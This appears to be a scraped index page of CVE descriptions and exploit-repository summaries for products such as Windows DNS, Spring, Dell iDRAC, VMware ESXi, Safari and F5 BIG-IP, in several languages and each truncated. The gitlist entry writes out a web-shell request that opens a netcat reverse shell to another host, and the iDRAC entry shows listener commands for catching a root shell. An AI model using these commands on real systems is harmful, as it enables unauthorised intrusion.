CVE-2026-69782

Windows DNS Server is affected by a race condition caused by concurrent execution using a shared resource with improper synchronization. This flaw allows an unauthorized attacker to achieve remote code execution over the network with no privileges required , though the attack complexity is rated ...

CVE-2026-69522

Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network...

CVE-2026-69522

This is a heap-based buffer overflow in Visual Studio (and .NET , per the CVE record) that enables an unauthorized, remote attacker to achieve code execution over a network. The CVSS 3.1 base score is 8.8 (High) with an attack vector of network , low complexity, no privileges required, but user i...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell Aviso legal: Este repositorio está destinado únicamente a fines educativos y de investigación. Todos los scripts de exploit deben utilizarse exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito para realizar pruebas. El auto...

EUVD-2026-73167

Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network...

CVE-2026-62706

CVE-2026-62706 is an out-of-bounds read in Microsoft Windows Media Foundation that allows an unauthorized attacker to execute code over a network. The CVSS 3.1 score is 8.8 (HIGH) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H , meaning exploitation requires user interaction but no prior au...

CVE-2019-16662

CVE-2019-16662 El exploit oficial para rConfig 3.9.2 Remote Code Execution CVE-2019-16662...

gitlist-RCE

gitlist-RCE CVE-2014-4511 示例： shell 上传成功后： 访问： http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

cve-2018-1207

cve-2018-1207 利用 iDRAC 7 & 8 固件 2.52.52.52 描述 Dell EMC iDRAC7/iDRAC8 在 2.52.52.52 之前的版本中存在 CGI 注入漏洞，该漏洞可用于执行远程代码。远程未认证攻击者可能能够利用 CGI 变量来执行远程代码。 此代码应导致 iDRAC 服务以 root 用户身份打开一个反向 shell。 用法 启动本地监听器： nc -v -l -p localport nc -v -l -p 5500 运行漏洞利用程序： python ./cve-2018-1207.py remotehost remoteport...

CVE-2021-21974

CVE-2021-21974 PoC - VMware ESXi RCE Exploit 描述 此仓库包含针对漏洞 CVE-2021-21974 的概念验证（PoC），该漏洞是 VMware ESXi 的 OpenSLP 服务中的远程代码执行（RCE）漏洞。成功利用此漏洞可能允许未经身份验证的攻击者在受影响的 ESXi 主机上执行任意代码。 CVE ID : CVE-2021-21974 影响 : 远程代码执行（RCE） 严重性 : 高（CVSS 8.8） 受影响产品 : VMware ESXi（7.x 及更早版本） 受影响组件 : OpenSLP 服务 要求 在运行 PoC...

citrix_dir_traversal_rce

citrixdirtraversalrce 在 Citrix Application Delivery Controller（ADC，即 NetScaler）和 Gateway 10.5、11.1、12.0、12.1 和 13.0 中发现了一个目录遍历漏洞。 当 NSPPE 收到对 GET /vpn/index.html 的请求时，它本应将该请求发送给 Apache 进行处理。然而，通过构造请求 GET /vpn/../vpns/（该请求未经过净化），Apache 将路由转换为 GET /vpns/ 并正常处理这最后一个请求。 这个 /vpns/ 目录之所以引人注目，是因为它包含 Per...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE 漏洞利用，可能已在 iOS 16.5.1/macOS 13.4.1 中修复 已验证该漏洞利用在 macOS 13.3.1 和 iOS 15.8.2 上有效。 描述 目前仅适用于 macOS 13.0.1 x8664，因为偏移量是硬编码的。 实现了 addrof/fakeobj 以及读写（r/w）原语 将 SecurityOrigin-muniversalAccess 修补为 1 通过 JIT 执行加载 stage1.bin 致谢 感谢 ENKI WhiteHat 提供原始 PoC 及详细分析文章 saelo 的 jscp...

cve-2023-33476

CVE-2023-33476 ReadyMedia（MiniDLNA）1.1.15 至 1.3.2 版本存在缓冲区溢出漏洞。该漏洞是由于在处理使用分块传输编码的 HTTP 请求时验证逻辑不正确所致，导致后续代码使用了超出已分配缓冲区长度的攻击者控制的块（chunk）值，从而造成越界读/写。 根因分析 漏洞利用详情 NIST CVE 条目 漏洞利用 通过 tcache 投毒 + GOT 覆盖实现针对 x86-64 目标的 RCE 漏洞利用 通过 tcache 投毒 + RIP 覆盖实现针对 arm32 目标（Netgear RAX30）的 RCE 漏洞利用 模糊测试 为模糊测试调整过的源码...

CVE-2022-22965

Spring4ShellCVE-2022-22965 Spring Framework 在 JDK 9+ 上通过数据绑定导致的远程代码执行漏洞 / spring4shell / CVE-2022-22965 Spring4ShellCVE-2022-22965 漏洞利用演示 https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4 构建 root@kitploit: docker pull me2nuk/cves:2022-22965 dock...

CVE-2022-22963

Spring Cloud Function 漏洞CVE-2022-22963 存在 CVE-2022-22963 漏洞的应用程序 CVE-2022-22963 漏洞利用演示 https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 构建 root@kitploit: docker pull me2nuk/cves:2022-22963 docker run -it -p 8080:8080 --name=vuln...

mbanyamer-Microsoft-PowerPoint-Use-After-Free-Remote-Code-Execution-RCE

CVE-2025-47175 - Microsoft PowerPoint 释放后使用（UAF）远程代码执行 PoC 概述 本仓库包含针对 Microsoft PowerPoint 中发现的 CVE-2025-47175 漏洞的概念验证（PoC）利用代码。 该漏洞是一个释放后使用（UAF）缺陷，攻击者可诱骗用户打开特制的 PPTX 文件来执行任意代码。 描述 漏洞类型： Microsoft PowerPoint 中的释放后使用（UAF） CVE 编号： CVE-2025-47175 受影响版本： Microsoft PowerPoint 2019 以及 2025 年 6...

CVE-2022-41853

CVE-2022-41853 研究：利用静态函数通过 Java 反序列化与远程代码库攻击获取 RCE 在 hsqldb（HyperSQL DataBase）中使用 java.sql.Statement 或 java.sql.PreparedStatement 处理不可信输入的用户，可能容易受到远程代码执行攻击。默认情况下，允许调用 classpath 中任何 Java 类的任何静态方法，从而导致代码执行。要防止此问题，可以升级到 2.7.1，或将系统属性 "hsqldb.methodclassnames" 设置为允许被调用的类。例如，可使用...

CVE-2025-26865

CVE-2025-26865: FreeMarker 服务器端模板注入（通过 Apache OfBiz 的 "ecommerce" 插件） 由于在 18.12.17 和 18.12.18 之间引入的回归问题，针对 CVE-2022-25813: Apache OfBiz 中的 FreeMarker 服务器端模板注入 的修复不再生效，从而重新打开了利用 "ecommerce" 插件发起 FreeMarker 服务器端模板注入（SSTI）攻击的可能性。 如果攻击成功，SSTI 可能导致远程代码执行（RCE）。 供应商披露： 该漏洞的供应商披露和修复可在此处找到：here。 要求： 此漏洞需要...

CVE-2017-9841

CVE-2017-9841 CVE-2017-9841 检测脚本，由 Massimiliano Brasile 编写 发生了什么 2020年1月6日，我被告知一个安全漏洞，该漏洞似乎影响大多数版本的 PrestaShop（该警告于2020年1月3日仅在 PS 团队内部共享）。经过一番挖掘，我发现问题与一个名为 PHPUnit 1 的测试框架库有关，该库意外地被包含在某些 Prestashop 1.7 使用的生产模块中（通过 Prestashop API 或 PrestaShop 安装分发）。PHPUnit 的问题被标记为 CVE-2017-9841 2 3，但目前针对 Prestasho...

CVE-2025-20029

CVE-2025-20029: F5 BIG-IP 中 TMSH CLI 的命令注入 F5 “tmsh” 受限 CLI 中存在一个命令注入漏洞，该漏洞允许已认证的攻击者利用低权限用户可访问的命令来绕过限制、注入任意命令，并以目标系统上的 “root” 用户身份获得远程代码执行。 厂商披露: 该漏洞的厂商披露与修复方案可在此处找到。 前提条件: 此漏洞需要： 有效的用户凭据 向 iControl REST 组件发送请求的能力和/或执行 tmsh 命令的能力 概念验证: 更多细节及利用过程可在此 PDF 中查看。...